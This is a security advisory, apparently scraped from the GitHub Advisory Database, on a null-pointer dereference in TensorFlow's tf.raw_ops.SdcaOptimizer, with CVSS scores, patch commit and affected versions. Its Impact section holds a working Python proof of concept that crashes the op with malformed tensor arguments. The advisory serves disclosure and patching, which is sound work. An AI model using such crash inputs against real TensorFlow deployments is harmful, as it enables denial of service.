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githubGitHub Advisory DatabaseGHSA-5GQF-456P-4836
HistoryMay 21, 2021 - 2:25 p.m.

Reference binding to nullptr in `SdcaOptimizer`

2021-05-2114:25:31
CWE-476
GitHub Advisory Database
github.com
16

2.1 Low

CVSS2

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:L/AC:L/Au:N/C:N/I:N/A:P

5.5 Medium

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

0.0004 Low

EPSS

Percentile

12.8%

Impact

The implementation of tf.raw_ops.SdcaOptimizer triggers undefined behavior due to dereferencing a null pointer:

import tensorflow as tf

sparse_example_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)]
sparse_feature_indices = [tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64), tf.constant((0), dtype=tf.int64)]
sparse_feature_values = []

dense_features = []
dense_weights = []

example_weights = tf.constant((0.0), dtype=tf.float32)
example_labels = tf.constant((0.0), dtype=tf.float32)

sparse_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)]
sparse_weights = [tf.constant((0.0), dtype=tf.float32), tf.constant((0.0), dtype=tf.float32)]
  
example_state_data = tf.constant([0.0, 0.0, 0.0, 0.0], shape=[1, 4], dtype=tf.float32)
  
tf.raw_ops.SdcaOptimizer(
  sparse_example_indices=sparse_example_indices,
  sparse_feature_indices=sparse_feature_indices,
  sparse_feature_values=sparse_feature_values, dense_features=dense_features,
  example_weights=example_weights, example_labels=example_labels, 
  sparse_indices=sparse_indices, sparse_weights=sparse_weights, 
  dense_weights=dense_weights, example_state_data=example_state_data,
  loss_type="logistic_loss", l1=0.0, l2=0.0, num_loss_partitions=1,
  num_inner_iterations=1, adaptative=False)

The implementation does not validate that the user supplied arguments satisfy all constraints expected by the op.

Patches

We have patched the issue in GitHub commit f7cc8755ac6683131fdfa7a8a121f9d7a9dec6fb.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Affected configurations

Vulners
Node
tensorflowgpuRange<2.4.2
OR
tensorflowgpuRange<2.3.3
OR
tensorflowgpuRange<2.2.3
OR
tensorflowgpuRange<2.1.4
OR
tensorflowcpuRange<2.4.2
OR
tensorflowcpuRange<2.3.3
OR
tensorflowcpuRange<2.2.3
OR
tensorflowcpuRange<2.1.4
OR
tensorflowtensorflowRange<2.4.2
OR
tensorflowtensorflowRange<2.3.3
OR
tensorflowtensorflowRange<2.2.3
OR
tensorflowtensorflowRange<2.1.4

2.1 Low

CVSS2

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:L/AC:L/Au:N/C:N/I:N/A:P

5.5 Medium

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

0.0004 Low

EPSS

Percentile

12.8%

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